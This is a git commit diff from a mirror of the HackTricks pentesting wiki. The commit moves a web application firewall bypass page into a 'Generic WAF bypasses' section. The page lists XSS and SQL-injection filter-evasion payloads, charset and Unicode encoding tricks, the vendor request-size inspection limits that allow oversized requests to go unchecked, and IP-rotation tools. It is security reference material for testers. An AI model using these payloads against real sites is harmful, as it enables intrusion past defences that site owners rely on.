mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
GITBOOK-4343: No subject
This commit is contained in:
CPol
gitbook-bot
parent
b007a3dab1
commit
207b2007b9
3 changed files with 90 additions and 108 deletions
|
|
@ -425,7 +425,6 @@
|
|||
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
|
||||
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
|
||||
* [WAF Bypass](network-services-pentesting/pentesting-web/waf-bypass.md)
|
||||
* [Web API Pentesting](network-services-pentesting/pentesting-web/web-api-pentesting.md)
|
||||
* [WebDav](network-services-pentesting/pentesting-web/put-method-webdav.md)
|
||||
* [Werkzeug / Flask Debug](network-services-pentesting/pentesting-web/werkzeug.md)
|
||||
|
|
|
|||
|
|
@ -1,106 +0,0 @@
|
|||
# WAF Bypass
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Regex Bypasses
|
||||
|
||||
Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
<script>alert(XSS) // #removing the closing tag
|
||||
<script>alert`XSS`</script> #using backticks instead of parenetheses
|
||||
java%0ascript:alert(1) #using encoded newline characters
|
||||
<iframe src=http://malicous.com < #double open angle brackets
|
||||
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
|
||||
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
|
||||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
|
||||
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
|
||||
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
|
||||
<iframe src="javascript:alert(`xss`)"> #unicode encoding
|
||||
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
|
||||
new Function`alt\`6\``; #using backticks instead of parentheses
|
||||
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
|
||||
%26%2397;lert(1) #using HTML encoding
|
||||
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
|
||||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
|
||||
```
|
||||
|
||||
## Charset Encoding
|
||||
|
||||
```bash
|
||||
# Charset encoding
|
||||
application/x-www-form-urlencoded;charset=ibm037
|
||||
multipart/form-data; charset=ibm037,boundary=blah
|
||||
multipart/form-data; boundary=blah; charset=ibm037
|
||||
|
||||
##Python code
|
||||
import urllib
|
||||
s = 'payload'
|
||||
print(urllib.parse.quote_plus(s.encode("IBM037")))
|
||||
|
||||
## Request example
|
||||
GET / HTTP/1.1
|
||||
Host: buggy
|
||||
Content-Type: application/x-www-form-urlencoded; charset=ibm500
|
||||
Content-Length: 61
|
||||
|
||||
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
|
||||
```
|
||||
|
||||
## Obfuscation
|
||||
|
||||
```bash
|
||||
# IIS, ASP Clasic
|
||||
<%s%cr%u0131pt> == <script>
|
||||
|
||||
# Path blacklist bypass - Tomcat
|
||||
/path1/path2/ == ;/path1;foo/path2;bar/;
|
||||
```
|
||||
|
||||
## Unicode Compatability
|
||||
|
||||
Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode)
|
||||
|
||||
### Example
|
||||
|
||||
```bash
|
||||
# under the NFKD normalization algorithm, the characters on the left translate
|
||||
# to the XSS payload on the right
|
||||
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥ --> ＜img src=p onerror='prompt(1)'>
|
||||
```
|
||||
|
||||
## Exceeding Size Limitations
|
||||
|
||||
It's common in cloud based WAFs that if the payload is bigger than X size, the request won't be checked by the WAF. You can simply use that to bypass them.
|
||||
|
||||
### IP Rotation
|
||||
|
||||
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -121,11 +121,100 @@ Connection: close\r\n
|
|||
|
||||
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
|
||||
|
||||
## Generic WAF bypasses
|
||||
|
||||
### Request Size Limits
|
||||
|
||||
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.
|
||||
|
||||
* For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
* From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
|
||||
|
||||
If p**revention mode**: Logs and blocks the request.\
|
||||
If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.
|
||||
|
||||
* From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en\_US)**:**
|
||||
|
||||
By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
|
||||
|
||||
* From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
|
||||
Up to 128KB.
|
||||
|
||||
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
|
||||
|
||||
```bash
|
||||
# IIS, ASP Clasic
|
||||
<%s%cr%u0131pt> == <script>
|
||||
|
||||
# Path blacklist bypass - Tomcat
|
||||
/path1/path2/ == ;/path1;foo/path2;bar/;
|
||||
```
|
||||
|
||||
### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode).
|
||||
|
||||
#### Example <a href="#example" id="example"></a>
|
||||
|
||||
```bash
|
||||
# under the NFKD normalization algorithm, the characters on the left translate
|
||||
# to the XSS payload on the right
|
||||
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥ --> ＜img src=p onerror='prompt(1)'>
|
||||
```
|
||||
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
{% content-ref url="h2c-smuggling.md" %}
|
||||
[h2c-smuggling.md](h2c-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
* [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
|
||||
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
|
||||
* [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
|
||||
* [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
|
||||
|
||||
### Regex Bypasses
|
||||
|
||||
Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
<script>alert(XSS) // #removing the closing tag
|
||||
<script>alert`XSS`</script> #using backticks instead of parenetheses
|
||||
java%0ascript:alert(1) #using encoded newline characters
|
||||
<iframe src=http://malicous.com < #double open angle brackets
|
||||
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
|
||||
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
|
||||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
|
||||
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
|
||||
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
|
||||
<iframe src="javascript:alert(`xss`)"> #unicode encoding
|
||||
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
|
||||
new Function`alt\`6\``; #using backticks instead of parentheses
|
||||
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
|
||||
%26%2397;lert(1) #using HTML encoding
|
||||
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
|
||||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
|
||||
```
|
||||
|
||||
## Tools
|
||||
|
||||
* [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin to add junk data to requests to bypass WAFs by length
|
||||
|
||||
## References
|
||||
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
* [https://www.youtube.com/watch?v=0OMmWtU2Y\_g](https://www.youtube.com/watch?v=0OMmWtU2Y\_g)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue